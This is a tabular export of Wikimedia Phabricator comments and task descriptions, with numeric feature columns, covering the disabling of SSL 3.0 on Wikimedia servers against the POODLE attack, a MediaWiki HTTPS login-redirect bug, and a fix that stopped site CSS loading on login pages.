+[[https://gerrit.wikimedia.org/r/188015]]",,,1422898513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,False,,,-22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+405459,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"I scanned all the public IP addresses in dns/templates/wikimedia.org, and found four SSL 3.0 enabled servers:
+
+```
+dataset1001	208.80.154.11
+ms1001		208.80.154.16
+radium		208.80.154.39
+wikitech-static	166.78.57.240
+```
+https://wikitech-static.wikimedia.org/  is also vulnerable to OpenSSL CCS vulnerability.
+https://www.ssllabs.com/ssltest/analyze.html?d=wikitech-static.wikimedia.org
+",,,1422846725,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+405448,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"Change 188015 had a related patch set uploaded (by Yuvipanda):
+dumps: Strengthen ssl settings
+
+[[https://gerrit.wikimedia.org/r/188015]]
+
+#patch-for-review",,,1422838670,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,False,,,-22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+405446,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"It seems dumps is now using the default cipher suite of nginx and SSL 3.0 is still enabled.
+https://www.ssllabs.com/ssltest/analyze.html?d=dumps.wikimedia.org
+
+I think dumps is the last server with SSL 3.0 enabled.",,,1422838049,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+396836,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),">>! In T74072#963586, @Dzahn wrote:
+> see my comment above:
+> 
+> ticket for upgrading sodium: RT #5420
+> ticket for deploying new dumps misc hosts RT #4570
+> ticket for enabling https on dumps: RT #7067
+> 
+> details would/should be on those tickets.
+> 
+> and no, sorry, not taking them
+
+OK thanks man, without an assignee then I am down grading priority here.",,,1420739711,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,0,1,1,1,0,0,1
+396833,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"see my comment above:
+
+ticket for upgrading sodium: RT #5420
+ticket for deploying new dumps misc hosts RT #4570
+ticket for enabling https on dumps: RT #7067
+
+details would/should be on those tickets.
+
+and no, sorry, not taking them",,,1420739185,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+395955,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"@dzahn, anything left actionable on this issue?  Would you be willing to take it?",,,1420586905,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-26,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+392092,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),">>! In T74072#767024, @Chmarkine wrote:
+> I think the only two left are lists and dumps, but they are using so outdated versions of lighttpd that disabling SSL 3 is not an option. Is there any plan to upgrade these two servers?
+
+The plan would be to replace lighttpd with nginx. (per Faidon who recently already replace it in one other case)",,,1419258156,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-28,True,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+334130,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),">>! In T74072#767039, @Dzahn wrote:
+> ticket for enabling https on dumps: RT #7067
+
+which is also T60292 and declined.",,,1417134321,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-31,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,1
+329145,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"ticket for upgrading sodium: RT #5420
+ticket for deploying new dumps misc hosts RT #4570
+ticket for enabling https on dumps: RT #7067",,,1414712665,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-35,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+329141,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"(In reply to Daniel Zahn from comment #8)
+> Chmarkine, you had that nice table, what does your data say now, anything
+> left?
+
+Thanks for fixing them.
+
+I think the only two left are lists and dumps, but they are using so outdated versions of lighttpd that disabling SSL 3 is not an option. Is there any plan to upgrade these two servers?
+
+[1] https://www.ssllabs.com/ssltest/analyze.html?d=lists.wikimedia.org
+[2] https://www.ssllabs.com/ssltest/analyze.html?d=dumps.wikimedia.org",,,1414712523,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-35,True,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+329136,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"Chmarkine, you had that nice table, what does your data say now, anything left?",,,1414697305,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-35,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0
+329129,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"(In reply to Daniel Zahn from comment #4)
+> it did NOT fix Tool Labs
+
+fixed toollabs by 
+
+https://gerrit.wikimedia.org/r/#/c/169949/2
+
+and restarting nginx on the instance tools-webproxy
+
+https://www.ssllabs.com/ssltest/analyze.html?d=tools.wmflabs.org
+
+
+also: https://gerrit.wikimedia.org/r/#/c/170117/2",,,1414696598,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-35,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+329121,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"**gerritadmin** wrote:
+
+Change 169978 abandoned by Chmarkine:
+lists - disable SSLv3
+
+Reason:
+I don't know if it will cause any problem if ""ssl.use-sslv3"" is not recognized by the current version. Anyway, there is no harm to wait until the server is upgraded.
+
+https://gerrit.wikimedia.org/r/169978",,,1414633457,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,False,,,-35,True,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+329113,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"**gerritadmin** wrote:
+
+Change 169978 had a related patch set uploaded by Chmarkine:
+lists - disable SSLv3
+
+https://gerrit.wikimedia.org/r/169978",,,1414632502,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,False,,,-35,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+329107,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"fixed misc-web-lb by restarting nginx on cp1043 and cp1044. they already had the right config but lacked that.
+
+this fixed all the services behind misc-web, including gdash and ishmael
+
+it did NOT fix Tool Labs",,,1414624384,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-36,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+329101,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"... and the Tool Labs?
+https://www.ssllabs.com/ssltest/analyze.html?d=tools.wmflabs.org",,,1413927727,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0
+329096,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"Has SSL 3.0 been disabled on misc-web-lb.eqiad.wikimedia.org?
+
+https://www.ssllabs.com/ssltest/analyze.html?d=gdash.wikimedia.org
+https://www.ssllabs.com/ssltest/analyze.html?d=ishmael.wikimedia.org",,,1413927090,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0
+329091,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"This topic is being discussed on the Operations mailing list now.
+
+(In reply to chmarkine from comment #0)
+> re-enable SSL 3.0 after TLS_FALLBACK_SCSV is available?
+
+Quoting: ""Google's TLS_FALLBACK_SCSV needs all clients and servers patched.""",,,1413370819,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-38,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1
+73716,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","**Author:** `bugzillawiki`
+
+**Description:**
+So looks like there's a bug if a mediawiki site has https enabled but doesn't want https anywhere other than login. So if the client comes via non-secure and goes to login with a secured wiki, then proceeds to login (and hasn't chosen to force SSL), the site continues to be in SSL.
+
+Expected behavior: If a client logs in from non-ssl and the wiki has SSL enabled, and the client has not set ""force ssl"", the client should return to the non-secure wiki.
+
+This patch should fix that behavior since the 'fromhttp' parameter wasn't being sent back to the post page properly:
+
+https://gerrit.wikimedia.org/r/#/c/164882/
+
+--------------------------
+**Version**: 1.23.5
+**Severity**: normal",Medium,50.0,1412623620,1417646198.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_description,resolved,True,c3,1,False,False,True,-39,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+336070,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.",I merged https://gerrit.wikimedia.org/r/#/c/165080/,,,1417646198,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,True,,,-31,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0
+336069,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","Change 165080 merged by jenkins-bot:
+If a user logs in while not on https, then the user should be sent back to the non-secure website.
+
+[[https://gerrit.wikimedia.org/r/165080]]",,,1417646185,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,False,,,-31,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+325423,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","**bugzillawiki** wrote:
+
+I'm running version Mediawiki 1.23.5 (stock).",,,1412698387,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+325415,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","This is bug 40541 once again.
+What version of MediaWiki are you running? We had problems getting rid of this bug on OSM wiki too... I guess the underlying code is fragile.",,,1412666048,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+325407,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","**bugzillawiki** wrote:
+
+No, this is applicable to stock mediawiki as the expected behavior isn't working on my wiki.
+
+It doesn't look like this is a duplicate of bug 61048 which is related to not being logged in after returning to http://. This one is related to going from http -> https login -> https whereas we expect it to be http -> https login -> http
+
+With this patch applied and after testing, I can confirm that you do stay logged in even when returning to http, so it looks like bug 61048 has been fixed?",,,1412634544,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+325399,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","Is this report about MediaWiki, or a particular WMF site (so mediawiki + centralauth)?
+
+If it's just mediawiki, I think this is a duplicate of bug 61048, but I want to make sure I understand the issue you're seeing.",,,1412632848,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+325392,"If coming from a non-secure website to a secured login, if force ssl is not enabled, it should return to the non-secure website.","Change 165080 had a related patch set uploaded by Stephenliang:
+If a user logs in while not on https, then the user should be sent back to the non-secure website if they did not explicitly choose to stay on the secure site
+
+https://gerrit.wikimedia.org/r/165080",,,1412624418,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tbo4r6ml7pfjd6au5hj6,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+73621,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Bug 70672 (T72672) fixes the security hole of allowing Javascript in CSS in the Mediawiki namespace.  It does this by breaking the functionality of loading CSS when on the Special:UserLogin and Special:Preferences pages.  Unfortunately this means that any custom styles are not loaded.  To the end user it causes momentarily confusion that they may have been maliciously redirected to a different site to enter their username and password.  This is an undesirable side effect for the user interface.
+
+I have created an example extension that will prevent saving any custom CSS that contains Javascript imports.
+https://github.com/Alexia/Bug70672
+
+Example error output:
+http://imgur.com/a/TnsTY#0
+
+Original bug:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=70672
+
+--------------------------
+**Version**: 1.23.5
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=70672",Medium,50.0,1412365860,1417077529.0,PHID-USER-x6bqmsddkjigelco4gwe,False,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-TASK-o6thfwgsk54xnsmig6b5,task_description,resolved,True,c3,1,False,False,True,-39,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+333918,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,">>! In T73621#790441, @Aklapper wrote:
+> I assume this can be closed as fixed now?
+
+Yes!",,,1417077529,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-31,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+333862,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,I assume this can be closed as fixed now?,,,1417059997,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-31,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+333564,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Change 175671 merged by jenkins-bot:
+Make allowing site-wide styles on restricted special pages a config option
+
+[[https://gerrit.wikimedia.org/r/175671]]",,,1417022135,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+332921,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Change 174018 merged by Mglaser:
+Make allowing site-wide styles on restricted special pages a config option
+
+[[https://gerrit.wikimedia.org/r/174018]]",,,1416913263,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+332916,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Change 174014 merged by Mglaser:
+Make allowing site-wide styles on restricted special pages a config option
+
+[[https://gerrit.wikimedia.org/r/174014]]",,,1416912967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+332912,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"Change 175671 had a related patch set uploaded (by Mglaser):
+Make allowing site-wide styles on restricted special pages a config option
+
+[[https://gerrit.wikimedia.org/r/175671]]
+
+#patch-for-review",,,1416912624,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+321388,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,"I uploaded patches for REL1_24, REL1_23, and REL1_22. I started on REL1_19 and then it got all scary so I stopped.
+
+I'm not sure what to do about @since 1.25 tags, so I left them as they are.",,,1416269328,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-33,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0
